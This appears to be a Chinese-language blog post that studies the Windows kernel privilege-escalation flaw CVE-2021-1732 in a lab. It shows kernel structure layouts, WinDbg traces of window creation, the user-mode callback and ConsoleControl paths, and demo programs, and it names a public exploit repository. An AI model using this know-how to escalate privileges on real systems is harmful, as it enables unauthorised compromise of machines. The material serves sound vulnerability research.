CVE-2021-1732 window内核提取漏洞

继续Windows提取洞的学习,这个漏洞利用的过程比上一个复杂挺多,之前又遭了甲流,花的时间久了点。下一个提权洞准备搞个UAF的。

环境搭建

漏洞复现环境。

  • vmware 16
  • Windows 10 Version 1909
  • windbg,VirtualKD-Redux

MSDN 工具站下载对应的镜像,然后安装。
1.png

然后安装虚拟机,搭建VirtualKD-Redux调试环境。

编译exp,这里使用的是KaLendsi/CVE-2021-1732-Exploit,修改下属性,应该就可以编译了。

测试一下,提权成功。
2.png

漏洞原理

单看漏洞点,实际上可以说是一个内存越界读写,而且与Windows窗口扩展内存有巨大关系。

基础知识

tagWND

tagWND结构体,参考别人总结好的,比较重要的是ptagWND -> ptagWNDk -> dwExtraFlag还有ptagWND -> ptagWNDk -> pExtraByte,还有其他的,这些实际上都是调试内核函数总结出来的,对理解这个漏洞非常重要。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
ptagWND(user layer)
0x00 hwnd
0x10 unknown
0x00 pTEB
0x220 pEPROCESS(of current process)
0x18 unknown
0x80 kernel desktop heap base
0x20 pself
0x28 ptagWNDk(kernel layer)
0x00 hwnd
0x08 kernel desktop heap base offset
0x18 dwStyle
0x58 Window Rect left
0x5C Window Rect top
0x98 spMenu(uninitialized)
0xC8 cbWndExtra
0xE8 dwExtraFlag
0x128 pExtraBytes
0x30 kernel desktop heap base offset
0x90 spMenu(analyzed by myself)
0x00 hMenu
0x18 unknown0
0x100 unknown
0x00 pEPROCESS(of current process)
0x28 unknown1
0x2C cItems(for check)
0x40 unknown2(for check)
0x44 unknown3(for check)
0x50 ptagWND
0x58 rgItems
0x00 unknown(for exploit)
0x98 spMenuk
0x00 pSelf

另一种表达方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
2: kd> dt tagWND
+0x000 h : Ptr64 Void
+0x008 DesktopOffset : Uint8B
+0x010 pti : Ptr64 tagTHREADINFO
+0x018 rpdesk : Ptr64 tagDESKTOP
+0x020 pSelf : Ptr64 tagWND
+0x028 ptagWNDK : Ptr64 tagWNDK
+0x030 DesktopOffset : Uint8B
+0x058 Left : Uint4B
+0x05C Right : Uint4B
+0x098 spMenu : Ptr64 tagMENU
+0x0C8 cbwndExtra : UInt4B
+0x0E8 Flags : UInt4B
+0x128 pExtraBytes : Uint8B

tagWNDK结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
struct tagWNDK
{
ULONG64 hWnd; //+0x00
ULONG64 OffsetToDesktopHeap;//+0x08 tagWNDK相对桌面堆基址偏移
ULONG64 state; //+0x10
DWORD dwExStyle; //+0x18
DWORD dwStyle; //+0x1C
BYTE gap[0x38];
DWORD rectBar_Left; //0x58
DWORD rectBar_Top; //0x5C
BYTE gap1[0x68];
ULONG64 cbWndExtra; //+0xC8 窗口扩展内存的大小
BYTE gap2[0x18];
DWORD dwExtraFlag; //+0xE8 决定SetWindowLong寻址模式
BYTE gap3[0x10]; //+0xEC
DWORD cbWndServerExtra; //+0xFC
BYTE gap5[0x28];
ULONG64 pExtraBytes; //+0x128 模式1:内核偏移量 模式2:用户态指针
};

CreateWindowsEx调试

我们需要对内核层的CreateWindowsEx进行调试来查看,首先编写一个demo,其调用CreateWindowsEx,并设置额外扩展内存,主要调试这额外扩展内存是怎么来的,以及赋值到哪。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <Windows.h>

/* 窗口类的窗口过程函数(负责消息处理) */
LRESULT CALLBACK MyWndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
return DefWindowProc(hWnd, message, wParam, lParam);
}

/* 程序入口点 */
int WINAPI WinMain(_In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevInstance,
_In_ LPSTR lpCmdLine,
_In_ int nCmdShow)
{
HWND hwnd;
MSG msg;
WNDCLASSEX wndclass = { 0 };

wndclass.cbSize = sizeof(WNDCLASSEX);
wndclass.style = CS_HREDRAW | CS_VREDRAW;
wndclass.lpfnWndProc = MyWndProc;
wndclass.hInstance = hInstance;
wndclass.lpszClassName = (LPWSTR)L"Itach1";
/* 使用 cbWndExtra 字段,设置扩展内存大小为两个 long long */
wndclass.cbWndExtra = 2 * sizeof(long long);

RegisterClassEx(&wndclass);

hwnd = CreateWindowEx(
NULL, L"Itach1", L"Itach1",
WS_OVERLAPPEDWINDOW | WS_VISIBLE,
CW_USEDEFAULT, CW_USEDEFAULT,
CW_USEDEFAULT, CW_USEDEFAULT,
NULL, NULL, hInstance, NULL
);

while (GetMessage(&msg, hwnd, NULL, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam;
}

其底层调用的是win32kfull!xxxCreateWindowEx函数,用windbg下断点,调试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0: kd> ba e1 win32kfull!xxxCreateWindowEx
0: kd> g
Breakpoint 0 hit
win32kfull!xxxCreateWindowEx:
fffff285`8283bbb0 4053 push rbx
0: kd> kb
# RetAddr : Args to Child : Call Site
00 fffff285`8283b690 : 00000000`00000000 00000000`00000000 00000000`00000000 ffffb985`70a68aa8 : win32kfull!xxxCreateWindowEx
01 fffff800`47a8ab15 : ffffd204`9715d080 ffffb985`70a68990 ffffb985`70a689a8 ffffb985`70a689b8 : win32kfull!NtUserCreateWindowEx+0x6a0
02 00007ffe`eea71f24 : 00007ffe`f0278011 ffffffff`ffff0000 00000000`40000600 00000000`0014fcc8 : nt!KiSystemServiceCopyEnd+0x25
03 00007ffe`f0278011 : ffffffff`ffff0000 00000000`40000600 00000000`0014fcc8 00000000`0014f920 : win32u!NtUserCreateWindowEx+0x14
04 00007ffe`f0277c04 : 00000000`00000006 00000000`00000000 00000000`00000000 00000000`10cf0000 : USER32!VerNtUserCreateWindowEx+0x211
05 00007ffe`f0277a42 : 0000fa4c`80000000 00000000`0000000a 00000000`00000000 00000000`0014fea0 : USER32!CreateWindowInternal+0x1b4
*** WARNING: Unable to verify checksum for test.exe
06 00000001`40001134 : 00000000`004732c0 00007ffe`eecdc105 00000000`00000002 00007ffe`ef601edb : USER32!CreateWindowExW+0x82
07 00000000`004732c0 : 00007ffe`eecdc105 00000000`00000002 00007ffe`ef601edb 00000000`80000000 : test+0x1134
08 00007ffe`eecdc105 : 00000000`00000002 00007ffe`ef601edb 00000000`80000000 00007ffe`80000000 : 0x4732c0
09 00000000`00000000 : 00000001`40000000 00000000`00000000 0000f271`9730b898 00000001`40001b12 : ucrtbase!parse_command_line<char>+0x71

在538行调用win32kbase!HMAllocObject申请tagWND结构体内存,这里怎么看出来申请tagWND的,应该是通过ida反编译后的代码可以看出来吧,并且会初始化ptagWND -> ptagWNDk -> pExtraBytes为0,反编译有点问题。

1
2
3
4
5
6
fffff285`8283c347 41b950010000    mov     r9d,150h
fffff285`8283c34d 448ac6 mov r8b,sil
fffff285`8283c350 488b942480010000 mov rdx,qword ptr [rsp+180h]
fffff285`8283c358 498bcf mov rcx,r15
fffff285`8283c35b 48ff1546983100 call qword ptr [win32kfull!_imp_HMAllocObject (fffff285`82b55ba8)] ds:002b:fffff285`82b55ba8={win32kbase!HMAllocObject (fffff285`82bccd40)}
fffff285`8283c362 0f1f440000 nop dword ptr [rax+rax]

3.png

继续向下调试,可以发现一个判断,判断cbWndExtra成员是否为0,调试完查看值,不为0。

1
2
3
4
5
6
7
8
1: kd> pc
win32kfull!xxxCreateWindowEx+0x1241:
fffff285`8283cdf1 e8d2b90d00 call win32kfull!tagWND::RedirectedFieldcbwndExtra<int>::operator!= (fffff285`829187c8)
1: kd> p
win32kfull!xxxCreateWindowEx+0x1246:
fffff285`8283cdf6 84c0 test al,al
1: kd> r al
al=1

就会进入xxxClientAllocWindowClassExtraBytes函数,申请空间,然后返回给ptagWND -> ptagWNDk -> pExtraBytes。
传入的大小为0x10,正好对应我们代码中,申请的两个long long大小。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
fffff285`8283cdca 8981c8000000    mov     dword ptr [rcx+0C8h],eax
fffff285`8283cdd0 498b4728 mov rax,qword ptr [r15+28h]
fffff285`8283cdd4 8380c800000020 add dword ptr [rax+0C8h],20h
fffff285`8283cddb 89bc24f0000000 mov dword ptr [rsp+0F0h],edi
fffff285`8283cde2 498d8fb1000000 lea rcx,[r15+0B1h]
fffff285`8283cde9 488d9424f0000000 lea rdx,[rsp+0F0h]
fffff285`8283cdf1 e8d2b90d00 call win32kfull!tagWND::RedirectedFieldcbwndExtra<int>::operator!= (fffff285`829187c8)
fffff285`8283cdf6 84c0 test al,al
fffff285`8283cdf8 744a je win32kfull!xxxCreateWindowEx+0x1294 (fffff285`8283ce44)
fffff285`8283cdfa 498b4728 mov rax,qword ptr [r15+28h]
fffff285`8283cdfe 8b88c8000000 mov ecx,dword ptr [rax+0C8h]
fffff285`8283ce04 e8a3470100 call win32kfull!xxxClientAllocWindowClassExtraBytes (fffff285`828515ac)

1: kd> p
win32kfull!xxxCreateWindowEx+0x1254:
fffff285`8283ce04 e8a3470100 call win32kfull!xxxClientAllocWindowClassExtraBytes (fffff285`828515ac)
1: kd> r ecx
ecx=10

4.png

进入win32kfull!xxxClientAllocWindowClassExtraBytes,其参数为申请大小的长度,通过观察代码可以发现,这个函数调用了KeUserModeCallback,这是回调函数,可以实现Ring0->Ring3->Ring0,也就是回到r3调用用户层的函数,然后得到返回值,回到r0。
5.png

这里学习下KeUserModeCallback的函数调用过程,其函数定义如下。

1
2
3
4
5
6
7
KeUserModeCallback (
IN ULONG ApiNumber, //对应函数在KernelCallback表中的索引
IN PVOID InputBuffer, //ApiNumber不同(即调用的函数不同),此参数对应不同的结构
IN ULONG InputLength,
OUT PVOID *OutputBuffer, //执行后输出的结果
IN PULONG OutputLength
)

这里的第一个参数决定了将调用什么函数,KernelCallback表可在peb中查看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
1: kd> dt _PEB @$peb
ntdll!_PEB
+0x000 InheritedAddressSpace : 0 ''
+0x001 ReadImageFileExecOptions : 0 ''
+0x002 BeingDebugged : 0 ''
+0x003 BitField : 0 ''
+0x003 ImageUsesLargePages : 0y0
+0x003 IsProtectedProcess : 0y0
+0x003 IsImageDynamicallyRelocated : 0y0
+0x003 SkipPatchingUser32Forwarders : 0y0
+0x003 IsPackagedProcess : 0y0
+0x003 IsAppContainer : 0y0
+0x003 IsProtectedProcessLight : 0y0
+0x003 IsLongPathAwareProcess : 0y0
+0x004 Padding0 : [4] ""
+0x008 Mutant : 0xffffffff`ffffffff Void
+0x010 ImageBaseAddress : 0x00000001`40000000 Void
+0x018 Ldr : 0x00007ffe`f1a453c0 _PEB_LDR_DATA
+0x020 ProcessParameters : 0x00000000`00471c40 _RTL_USER_PROCESS_PARAMETERS
+0x028 SubSystemData : (null)
+0x030 ProcessHeap : 0x00000000`00470000 Void
+0x038 FastPebLock : 0x00007ffe`f1a44fe0 _RTL_CRITICAL_SECTION
+0x040 AtlThunkSListPtr : (null)
+0x048 IFEOKey : (null)
+0x050 CrossProcessFlags : 0
+0x050 ProcessInJob : 0y0
+0x050 ProcessInitializing : 0y0
+0x050 ProcessUsingVEH : 0y0
+0x050 ProcessUsingVCH : 0y0
+0x050 ProcessUsingFTH : 0y0
+0x050 ProcessPreviouslyThrottled : 0y0
+0x050 ProcessCurrentlyThrottled : 0y0
+0x050 ProcessImagesHotPatched : 0y0
+0x050 ReservedBits0 : 0y000000000000000000000000 (0)
+0x054 Padding1 : [4] ""
+0x058 KernelCallbackTable : 0x00007ffe`f02f7330 Void
+0x058 UserSharedInfoPtr : 0x00007ffe`f02f7330 Void


1: kd> dqs 0x00007ffe`f02f7330 L130
00007ffe`f02f7330 00007ffe`f0275160 USER32!_fnCOPYDATA
00007ffe`f02f7338 00007ffe`f02eec70 USER32!_fnCOPYGLOBALDATA
00007ffe`f02f7340 00007ffe`f02928a0 USER32!_fnDWORD
00007ffe`f02f7348 00007ffe`f0296350 USER32!_fnNCDESTROY
00007ffe`f02f7350 00007ffe`f029c920 USER32!_fnDWORDOPTINLPMSG
00007ffe`f02f7358 00007ffe`f02ef400 USER32!_fnINOUTDRAG
00007ffe`f02f7360 00007ffe`f0297bc0 USER32!_fnGETTEXTLENGTHS
00007ffe`f02f7368 00007ffe`f02ef0c0 USER32!_fnINCNTOUTSTRING
00007ffe`f02f7370 00007ffe`f02ef180 USER32!_fnINCNTOUTSTRINGNULL
00007ffe`f02f7378 00007ffe`f0299430 USER32!_fnINLPCOMPAREITEMSTRUCT
00007ffe`f02f7380 00007ffe`f02949b0 USER32!__fnINLPCREATESTRUCT
00007ffe`f02f7388 00007ffe`f02ef230 USER32!_fnINLPDELETEITEMSTRUCT
00007ffe`f02f7390 00007ffe`f029ee90 USER32!__fnINLPDRAWITEMSTRUCT
00007ffe`f02f7398 00007ffe`f02ef290 USER32!_fnINLPHELPINFOSTRUCT
00007ffe`f02f73a0 00007ffe`f02ef290 USER32!_fnINLPHELPINFOSTRUCT
00007ffe`f02f73a8 00007ffe`f02ef390 USER32!_fnINLPMDICREATESTRUCT
00007ffe`f02f73b0 00007ffe`f029fbf0 USER32!_fnINOUTLPMEASUREITEMSTRUCT
00007ffe`f02f73b8 00007ffe`f0295970 USER32!_fnINLPWINDOWPOS
00007ffe`f02f73c0 00007ffe`f0294c90 USER32!_fnINOUTLPPOINT5
00007ffe`f02f73c8 00007ffe`f02996c0 USER32!_fnINOUTLPSCROLLINFO
00007ffe`f02f73d0 00007ffe`f0299df0 USER32!_fnINOUTLPRECT
00007ffe`f02f73d8 00007ffe`f0295a30 USER32!_fnINOUTNCCALCSIZE
00007ffe`f02f73e0 00007ffe`f0294c90 USER32!_fnINOUTLPPOINT5
00007ffe`f02f73e8 00007ffe`f02ef4c0 USER32!_fnINPAINTCLIPBRD
00007ffe`f02f73f0 00007ffe`f02ef580 USER32!_fnINSIZECLIPBRD
00007ffe`f02f73f8 00007ffe`f02a0d80 USER32!_fnINDESTROYCLIPBRD
00007ffe`f02f7400 00007ffe`f0271ed0 USER32!_fnINSTRING
00007ffe`f02f7408 00007ffe`f0271ed0 USER32!_fnINSTRING
00007ffe`f02f7410 00007ffe`f02a1230 USER32!__fnINDEVICECHANGE
00007ffe`f02f7418 00007ffe`f02751e0 USER32!_fnPOWERBROADCAST
00007ffe`f02f7420 00007ffe`f02960f0 USER32!_fnINLPUAHDRAWMENU
00007ffe`f02f7428 00007ffe`f029ef00 USER32!_fnOPTOUTLPDWORDOPTOUTLPDWORD
00007ffe`f02f7430 00007ffe`f029ef00 USER32!_fnOPTOUTLPDWORDOPTOUTLPDWORD
00007ffe`f02f7438 00007ffe`f02ef680 USER32!_fnOUTDWORDINDWORD
00007ffe`f02f7440 00007ffe`f029e870 USER32!_fnOUTLPRECT
00007ffe`f02f7448 00007ffe`f02752e0 USER32!_fnOUTSTRING
00007ffe`f02f7450 00007ffe`f02ef290 USER32!_fnINLPHELPINFOSTRUCT
00007ffe`f02f7458 00007ffe`f02ef180 USER32!_fnINCNTOUTSTRINGNULL
00007ffe`f02f7460 00007ffe`f02ef740 USER32!_fnSENTDDEMSG
00007ffe`f02f7468 00007ffe`f0294790 USER32!_fnINOUTLPSIZE
00007ffe`f02f7470 00007ffe`f0292900 USER32!_fnHkINDWORD
00007ffe`f02f7478 00007ffe`f029fd80 USER32!_fnHkINLPCBTACTIVATESTRUCT
00007ffe`f02f7480 00007ffe`f029e790 USER32!__fnHkINLPCBTCREATESTRUCT
00007ffe`f02f7488 00007ffe`f02eedc0 USER32!_fnHkINLPDEBUGHOOKSTRUCT
00007ffe`f02f7490 00007ffe`f0271720 USER32!_fnHkINLPMOUSEHOOKSTRUCTEX
00007ffe`f02f7498 00007ffe`f02eee20 USER32!_fnHkINLPKBDLLHOOKSTRUCT
00007ffe`f02f74a0 00007ffe`f02eee70 USER32!_fnHkINLPMSLLHOOKSTRUCT
00007ffe`f02f74a8 00007ffe`f0292940 USER32!__fnHkINLPMSG
00007ffe`f02f74b0 00007ffe`f02eeec0 USER32!_fnHkINLPRECT
00007ffe`f02f74b8 00007ffe`f02eef10 USER32!_fnHkOPTINLPEVENTMSG
00007ffe`f02f74c0 00007ffe`f02ef890 USER32!_xxxClientCallDelegateThread
00007ffe`f02f74c8 00007ffe`f02ee500 USER32!_ClientCallDummyCallback
00007ffe`f02f74d0 00007ffe`f02ef620 USER32!_fnKEYBOARDCORRECTIONCALLOUT
00007ffe`f02f74d8 00007ffe`f0296200 USER32!_fnOUTLPCOMBOBOXINFO
00007ffe`f02f74e0 00007ffe`f0299430 USER32!_fnINLPCOMPAREITEMSTRUCT
00007ffe`f02f74e8 00007ffe`f02ee500 USER32!_ClientCallDummyCallback
00007ffe`f02f74f0 00007ffe`f02961b0 USER32!_xxxClientCallDitThread
00007ffe`f02f74f8 00007ffe`f029f9f0 USER32!_xxxClientEnableMMCSS
00007ffe`f02f7500 00007ffe`f02ef9d0 USER32!_xxxClientUpdateDpi
00007ffe`f02f7508 00007ffe`f0274e00 USER32!_xxxClientExpandStringW
00007ffe`f02f7510 00007ffe`f02ee670 USER32!_ClientCopyDDEIn1
00007ffe`f02f7518 00007ffe`f02ee6f0 USER32!_ClientCopyDDEIn2
00007ffe`f02f7520 00007ffe`f02ee770 USER32!_ClientCopyDDEOut1
00007ffe`f02f7528 00007ffe`f02ee7b0 USER32!_ClientCopyDDEOut2
00007ffe`f02f7530 00007ffe`f02760c0 USER32!_ClientCopyImage
00007ffe`f02f7538 00007ffe`f02ee810 USER32!_ClientEventCallback
00007ffe`f02f7540 00007ffe`f02ee870 USER32!_ClientFindMnemChar
00007ffe`f02f7548 00007ffe`f02ee8d0 USER32!_ClientFreeDDEHandle
00007ffe`f02f7550 00007ffe`f029a350 USER32!__ClientFreeLibrary
00007ffe`f02f7558 00007ffe`f029b810 USER32!_ClientGetCharsetInfo
00007ffe`f02f7560 00007ffe`f02ee910 USER32!_ClientGetDDEFlags
00007ffe`f02f7568 00007ffe`f02ee990 USER32!_ClientGetDDEHookData
00007ffe`f02f7570 00007ffe`f029f920 USER32!_ClientGetListboxString
00007ffe`f02f7578 00007ffe`f0294b50 USER32!_ClientGetMessageMPH
00007ffe`f02f7580 00007ffe`f0276110 USER32!__ClientLoadImage
00007ffe`f02f7588 00007ffe`f0275390 USER32!_ClientLoadLibrary
00007ffe`f02f7590 00007ffe`f02737f0 USER32!_ClientLoadMenu
00007ffe`f02f7598 00007ffe`f029bbd0 USER32!_ClientLoadLocalT1Fonts
00007ffe`f02f75a0 00007ffe`f02eeb10 USER32!_ClientPSMTextOut
00007ffe`f02f75a8 00007ffe`f02ee9e0 USER32!_ClientLpkDrawTextEx
00007ffe`f02f75b0 00007ffe`f02a1470 USER32!_ClientExtTextOutW
00007ffe`f02f75b8 00007ffe`f02a1500 USER32!_ClientGetTextExtentPointW
00007ffe`f02f75c0 00007ffe`f02ee5f0 USER32!_ClientCharToWchar
00007ffe`f02f75c8 00007ffe`f0275500 USER32!_ClientAddFontResourceW
00007ffe`f02f75d0 00007ffe`f028f120 USER32!_ClientThreadSetup
00007ffe`f02f75d8 00007ffe`f02ee7f0 USER32!_ClientDeliverUserApc
00007ffe`f02f75e0 00007ffe`f02eea80 USER32!_ClientNoMemoryPopup
00007ffe`f02f75e8 00007ffe`f0297ff0 USER32!_ClientMonitorEnumProc
00007ffe`f02f75f0 00007ffe`f0296150 USER32!_ClientCallWinEventProc
00007ffe`f02f75f8 00007ffe`f029ca70 USER32!_ClientWaitMessageExMPH
00007ffe`f02f7600 00007ffe`f0297fc0 USER32!_ClientWOWGetProcModule
00007ffe`f02f7608 00007ffe`f02eec10 USER32!_ClientWOWTask16SchedNotify
00007ffe`f02f7610 00007ffe`f029ba90 USER32!_ClientImmLoadLayout
00007ffe`f02f7618 00007ffe`f0298310 USER32!_ClientImmProcessKey
00007ffe`f02f7620 00007ffe`f02eefe0 USER32!_fnIMECONTROL
00007ffe`f02f7628 00007ffe`f02a0cd0 USER32!__fnINWPARAMDBCSCHAR
00007ffe`f02f7630 00007ffe`f0297bc0 USER32!_fnGETTEXTLENGTHS
00007ffe`f02f7638 00007ffe`f02ef300 USER32!_fnINLPKDRAWSWITCHWND
00007ffe`f02f7640 00007ffe`f02750b0 USER32!_ClientLoadStringW
00007ffe`f02f7648 00007ffe`f02df7c0 USER32!_ClientLoadOLE
00007ffe`f02f7650 00007ffe`f02df800 USER32!_ClientRegisterDragDrop
00007ffe`f02f7658 00007ffe`f02df880 USER32!_ClientRevokeDragDrop
00007ffe`f02f7660 00007ffe`f02ef460 USER32!_fnINOUTMENUGETOBJECT
00007ffe`f02f7668 00007ffe`f0298cb0 USER32!__ClientPrinterThunk
00007ffe`f02f7670 00007ffe`f0296200 USER32!_fnOUTLPCOMBOBOXINFO
00007ffe`f02f7678 00007ffe`f02ef6e0 USER32!_fnOUTLPSCROLLBARINFO
00007ffe`f02f7680 00007ffe`f02960f0 USER32!_fnINLPUAHDRAWMENU
00007ffe`f02f7688 00007ffe`f0295900 USER32!__fnINLPUAHDRAWMENUITEM
00007ffe`f02f7690 00007ffe`f02960f0 USER32!_fnINLPUAHDRAWMENU
00007ffe`f02f7698 00007ffe`f02999f0 USER32!_fnINOUTLPUAHMEASUREMENUITEM
00007ffe`f02f76a0 00007ffe`f02960f0 USER32!_fnINLPUAHDRAWMENU
00007ffe`f02f76a8 00007ffe`f029b3e0 USER32!_fnOUTLPTITLEBARINFOEX
00007ffe`f02f76b0 00007ffe`f02ef7d0 USER32!_fnTOUCH
00007ffe`f02f76b8 00007ffe`f02eed00 USER32!_fnGESTURE
00007ffe`f02f76c0 00007ffe`f02ef290 USER32!_fnINLPHELPINFOSTRUCT
00007ffe`f02f76c8 00007ffe`f02ef290 USER32!_fnINLPHELPINFOSTRUCT
00007ffe`f02f76d0 00007ffe`f02ef840 USER32!_xxxClientCallDefaultInputHandler
00007ffe`f02f76d8 00007ffe`f0296a40 USER32!_fnEMPTY
00007ffe`f02f76e0 00007ffe`f02eeb90 USER32!_ClientRimDevCallback
00007ffe`f02f76e8 00007ffe`f02ef970 USER32!_xxxClientCallMinTouchHitTestingCallback
00007ffe`f02f76f0 00007ffe`f02ee580 USER32!_ClientCallLocalMouseHooks
00007ffe`f02f76f8 00007ffe`f028b3a0 USER32!__xxxClientBroadcastThemeChange
00007ffe`f02f7700 00007ffe`f02ef910 USER32!_xxxClientCallDevCallbackSimple
00007ffe`f02f7708 00007ffe`f02976b0 USER32!_xxxClientAllocWindowClassExtraBytes
00007ffe`f02f7710 00007ffe`f0297f30 USER32!_xxxClientFreeWindowClassExtraBytes
00007ffe`f02f7718 00007ffe`f02eed70 USER32!_fnGETWINDOWDATA
00007ffe`f02f7720 00007ffe`f0294790 USER32!_fnINOUTLPSIZE
00007ffe`f02f7728 00007ffe`f0271720 USER32!_fnHkINLPMOUSEHOOKSTRUCTEX

可以看到123代表的函数就是USER32!_xxxClientAllocWindowClassExtraBytes,我们去User32查看这个函数。

6.png

可以发现,其在用户层申请了cbWndExtra对应的大小值,然后调用ntdll!NtCallbackReturn值回到内核层继续执行,申请的空间会返回到v7变量,然后一步步取值,最终执行完xxxClientAllocWindowClassExtraBytes这个函数,我们查看执行完后的rax,其会赋值到ptagWND -> ptagWNDk -> pExtraBytes。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
1: kd> p
win32kfull!xxxClientAllocWindowClassExtraBytes+0x114:
fffff285`828516c0 c3 ret
1: kd> p
win32kfull!xxxCreateWindowEx+0x1259:
fffff285`8283ce09 488bc8 mov rcx,rax
1: kd> r rax
rax=00000000004789a0
1: kd> dd rax
00000000`004789a0 00000000 00000000 00000000 00000000
00000000`004789b0 00000000 00000000 8e0db23b 80000865
00000000`004789c0 3d293638 505c3a43 72676f72 46206d61
00000000`004789d0 73656c69 38782820 8e0fb23d 8000096f
00000000`004789e0 6946206e 0073656c 6d6d6f43 72506e6f
00000000`004789f0 6172676f 3436576d 8e01b23f 90000a3a
00000000`00478a00 6172676f 6946206d 00478810 00000000
00000000`00478a10 46206e6f 73656c69 8e03b201 90000b50

赋值给ptagWND -> ptagWNDk -> pExtraBytes。

7.png

以上就是CreateWindowsEx申请额外内存的过程了,这对后面理解漏洞原理,以及exp编写有帮助。

user32!ConsoleControl调试

其实除了上面的方法可以对pExtraBytes进行赋值,还可以通过user32!ConsoleControl来对pExtraBytes进行赋值,函数调用链为,user32!ConsoleControl->win32kfull!NtUserConsoleControl->win32kfull!xxxConsoleControl。

由于这个函数并未公开,需要自己获取下函数地址进行调用,这里编写个demo。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <Windows.h>

typedef DWORD64(NTAPI* fnNtUserConsoleControl)(int nConsoleCommand, HWND* pHwnd, int nConsoleInformationLength);

fnNtUserConsoleControl g_pfnNtUserConsoleControl = nullptr;

/* 窗口类的窗口过程函数(负责消息处理) */
LRESULT CALLBACK MyWndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
return DefWindowProc(hWnd, message, wParam, lParam);
}

/* 程序入口点 */
int WINAPI WinMain(_In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevInstance,
_In_ LPSTR lpCmdLine,
_In_ int nCmdShow)
{
HWND hwnd;
MSG msg;
WNDCLASSEX wndclass = { 0 };

wndclass.cbSize = sizeof(WNDCLASSEX);
wndclass.style = CS_HREDRAW | CS_VREDRAW;
wndclass.lpfnWndProc = MyWndProc;
wndclass.hInstance = hInstance;
wndclass.lpszClassName = (LPWSTR)L"Itach1";
/* 使用 cbWndExtra 字段,设置扩展内存大小为两个 long long */
wndclass.cbWndExtra = 2 * sizeof(long long);

RegisterClassEx(&wndclass);


hwnd = CreateWindowEx(
NULL, L"Itach1", L"Itach1",
WS_OVERLAPPEDWINDOW | WS_VISIBLE,
CW_USEDEFAULT, CW_USEDEFAULT,
CW_USEDEFAULT, CW_USEDEFAULT,
NULL, NULL, hInstance, NULL
);

g_pfnNtUserConsoleControl = (fnNtUserConsoleControl)GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserConsoleControl");

g_pfnNtUserConsoleControl(6i64, &hwnd, 0x10);

while (GetMessage(&msg, hwnd, NULL, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam;
}

首先win32kfull!NtUserConsoleControl打上断点。

1
2
3
1: kd> ba e1 win32kfull!NtUserConsoleControl
1: kd> bl
0 e Disable Clear fffff285`828e0440 e 1 0001 (0001) win32kfull!NtUserConsoleControl

8.png

进入xxxConsoleControl,可以看到如果dwExtraFlag & 0x800 ==0,就会采用申请内存桌面堆内存的方式,然后计算到桌面堆基址的偏移,赋值给pExtraBytes,然后将dwExtraFlag |0x800。
9.png

其中这个dwExtraFlag标志,对漏洞利用十分关键,因为其决定了后面调用SetWindowLong函数,其寻址方式,是寻找申请的用户空间内存的地址,还是寻找内核桌面堆的地址。

SetWindowLong调试

1
2
3
4
5
LONG SetWindowLongA(
[in] HWND hWnd, //窗口的句柄,间接地是窗口所属的类。
[in] int nIndex, //要设置的值的从零开始的偏移量。
[in] LONG dwNewLong //替换值。
);

这个函数是用来向我们CreateWindows时,对申请的额外空间内存进行赋值操作的,前提是窗口类结构体的cbWndExtra不为0。
采用下面的代码,然后调试,通过系统调用号的查找,完全可以定位到内核调用的函数为 win32kfull!NtUserSetWindowLong,打上断点,开始调试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <Windows.h>

/* 窗口类的窗口过程函数(负责消息处理) */
LRESULT CALLBACK MyWndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
return DefWindowProc(hWnd, message, wParam, lParam);
}

/* 程序入口点 */
int WINAPI WinMain(_In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevInstance,
_In_ LPSTR lpCmdLine,
_In_ int nCmdShow)
{
HWND hwnd;
MSG msg;
WNDCLASSEX wndclass = { 0 };

wndclass.cbSize = sizeof(WNDCLASSEX);
wndclass.style = CS_HREDRAW | CS_VREDRAW;
wndclass.lpfnWndProc = MyWndProc;
wndclass.hInstance = hInstance;
wndclass.lpszClassName = (LPWSTR)L"Itach1";
/* 使用 cbWndExtra 字段,设置扩展内存大小为两个 long long */
wndclass.cbWndExtra = 2 * sizeof(long long);

RegisterClassEx(&wndclass);


hwnd = CreateWindowEx(
NULL, L"Itach1", L"Itach1",
WS_OVERLAPPEDWINDOW | WS_VISIBLE,
CW_USEDEFAULT, CW_USEDEFAULT,
CW_USEDEFAULT, CW_USEDEFAULT,
NULL, NULL, hInstance, NULL
);

//对申请的额外内存的偏移8的位置进行赋值。
SetWindowLong(hwnd, 8, 0xBBBBBBBBBBBBBBBB);
